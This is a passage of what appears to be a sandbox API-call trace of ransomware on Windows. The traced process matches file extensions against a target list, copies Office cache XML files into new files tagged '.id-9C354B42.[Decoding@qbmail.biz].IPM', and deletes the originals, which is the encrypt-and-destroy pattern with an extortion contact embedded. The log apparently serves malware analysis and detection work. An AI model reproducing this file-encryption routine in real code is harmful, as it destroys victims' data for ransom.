(lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.585] lstrlenW (lpString=".dbf") returned 4 [0070.585] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.585] lstrlenW (lpString=".1cd") returned 4 [0070.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.585] lstrlenW (lpString=".jpg") returned 4 [0070.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.586] lstrlenW (lpString=".doc") returned 4 [0070.586] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.586] lstrlenW (lpString=".docx") returned 5 [0070.586] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.586] lstrlenW (lpString=".pdf") returned 4 [0070.586] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.586] lstrlenW (lpString=".xls") returned 4 [0070.586] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.586] lstrlenW (lpString=".xlsx") returned 5 [0070.586] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.586] lstrlenW (lpString=".ppt") returned 4 [0070.586] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.586] lstrlenW (lpString=".zip") returned 4 [0070.586] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.586] lstrlenW (lpString=".rar") returned 4 [0070.586] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.587] lstrlenW (lpString=".bz2") returned 4 [0070.587] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.587] lstrlenW (lpString=".7z") returned 3 [0070.587] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.587] lstrlenW (lpString=".dbf") returned 4 [0070.587] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.587] lstrlenW (lpString=".1cd") returned 4 [0070.587] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.587] lstrlenW (lpString=".jpg") returned 4 [0070.587] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.588] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.588] lstrlenW (lpString="Setup.xml") returned 9 [0070.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0071.450] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=4207) returned 1 [0071.450] CloseHandle (hObject=0x1b8) returned 1 [0071.451] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0071.451] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0071.451] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0071.451] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0071.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.452] GetLastError () returned 0x0 [0071.452] ReadFile (in: hFile=0x1b8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x106f, lpOverlapped=0x0) returned 1 [0071.475] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x1070, lpOverlapped=0x0) returned 1 [0071.477] ReadFile (in: hFile=0x1b8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0071.477] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.477] SetEndOfFile (hFile=0x1d0) returned 1 [0071.477] CloseHandle (hObject=0x1d0) returned 1 [0071.480] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0071.480] SetEndOfFile (hFile=0x1b8) returned 1 [0071.482] CloseHandle (hObject=0x1b8) returned 1 [0071.482] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.483] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0071.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.483] lstrlenW (lpString=".doc") returned 4 [0071.483] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.483] lstrlenW (lpString=".docx") returned 5 [0071.483] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0071.483] lstrlenW (lpString=".pdf") returned 4 [0071.483] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.483] lstrlenW (lpString=".xls") returned 4 [0071.483] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.483] lstrlenW (lpString=".xlsx") returned 5 [0071.484] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0071.484] lstrlenW (lpString=".ppt") returned 4 [0071.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.484] lstrlenW (lpString=".zip") returned 4 [0071.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.484] lstrlenW (lpString=".rar") returned 4 [0071.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.484] lstrlenW (lpString=".bz2") returned 4 [0071.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.484] lstrlenW (lpString=".7z") returned 3 [0071.484] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.484] lstrlenW (lpString=".dbf") returned 4 [0071.484] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.484] lstrlenW (lpString=".1cd") returned 4 [0071.484] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.484] lstrlenW (lpString=".jpg") returned 4 [0071.484] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.484] lstrlenW (lpString=".doc") returned 4 [0071.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString=".docx") returned 5 [0071.485] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0071.485] lstrlenW (lpString=".pdf") returned 4 [0071.485] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString=".xls") returned 4 [0071.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString=".xlsx") returned 5 [0071.485] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0071.485] lstrlenW (lpString=".ppt") returned 4 [0071.485] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.485] lstrlenW (lpString=".zip") returned 4 [0071.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.485] lstrlenW (lpString=".rar") returned 4 [0071.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString=".bz2") returned 4 [0071.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString=".7z") returned 3 [0071.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.485] lstrlenW (lpString=".dbf") returned 4 [0071.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.485] lstrlenW (lpString=".1cd") returned 4 [0071.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0071.486] lstrlenW (lpString=".jpg") returned 4 [0071.486] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.486] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.486] lstrlenW (lpString="Proof.xml") returned 9 [0071.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.255] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1457) returned 1 [0072.255] CloseHandle (hObject=0x1d8) returned 1 [0072.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0072.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.256] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.256] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0072.257] GetLastError () returned 0x0 [0072.257] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x5b1, lpOverlapped=0x0) returned 1 [0072.298] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0072.301] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0072.301] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.301] SetEndOfFile (hFile=0x1bc) returned 1 [0072.301] CloseHandle (hObject=0x1bc) returned 1 [0072.302] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.302] SetEndOfFile (hFile=0x1d8) returned 1 [0072.304] CloseHandle (hObject=0x1d8) returned 1 [0072.304] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.304] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0072.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.305] lstrlenW (lpString=".doc") returned 4 [0072.305] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.305] lstrlenW (lpString=".docx") returned 5 [0072.305] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0072.305] lstrlenW (lpString=".pdf") returned 4 [0072.305] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.305] lstrlenW (lpString=".xls") returned 4 [0072.305] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.305] lstrlenW (lpString=".xlsx") returned 5 [0072.305] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0072.305] lstrlenW (lpString=".ppt") returned 4 [0072.305] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.306] lstrlenW (lpString=".zip") returned 4 [0072.306] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.306] lstrlenW (lpString=".rar") returned 4 [0072.306] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.306] lstrlenW (lpString=".bz2") returned 4 [0072.306] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.306] lstrlenW (lpString=".7z") returned 3 [0072.306] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.306] lstrlenW (lpString=".dbf") returned 4 [0072.306] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.306] lstrlenW (lpString=".1cd") returned 4 [0072.306] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.306] lstrlenW (lpString=".jpg") returned 4 [0072.306] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.307] lstrlenW (lpString=".doc") returned 4 [0072.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.307] lstrlenW (lpString=".docx") returned 5 [0072.307] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0072.307] lstrlenW (lpString=".pdf") returned 4 [0072.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.307] lstrlenW (lpString=".xls") returned 4 [0072.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.307] lstrlenW (lpString=".xlsx") returned 5 [0072.307] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0072.307] lstrlenW (lpString=".ppt") returned 4 [0072.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.307] lstrlenW (lpString=".zip") returned 4 [0072.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.307] lstrlenW (lpString=".rar") returned 4 [0072.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.307] lstrlenW (lpString=".bz2") returned 4 [0072.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.308] lstrlenW (lpString=".7z") returned 3 [0072.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.308] lstrlenW (lpString=".dbf") returned 4 [0072.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.308] lstrlenW (lpString=".1cd") returned 4 [0072.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0072.308] lstrlenW (lpString=".jpg") returned 4 [0072.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.308] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.308] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0072.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.311] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1231) returned 1 [0072.311] CloseHandle (hObject=0x1d8) returned 1 [0072.311] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0072.311] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.311] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.311] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0072.312] GetLastError () returned 0x0 [0072.312] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x4cf, lpOverlapped=0x0) returned 1 [0072.764] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0072.766] ReadFile (in: hFile=0x1d8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0072.773] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf2, lpOverlapped=0x0) returned 1 [0072.773] SetEndOfFile (hFile=0x1bc) returned 1 [0072.773] CloseHandle (hObject=0x1bc) returned 1 [0072.775] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0072.775] SetEndOfFile (hFile=0x1d8) returned 1 [0072.777] CloseHandle (hObject=0x1d8) returned 1 [0072.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.777] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0072.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.778] lstrlenW (lpString=".doc") returned 4 [0072.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.778] lstrlenW (lpString=".docx") returned 5 [0072.778] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.778] lstrlenW (lpString=".pdf") returned 4 [0072.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.778] lstrlenW (lpString=".xls") returned 4 [0072.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.778] lstrlenW (lpString=".xlsx") returned 5 [0072.778] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.778] lstrlenW (lpString=".ppt") returned 4 [0072.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0072.778] 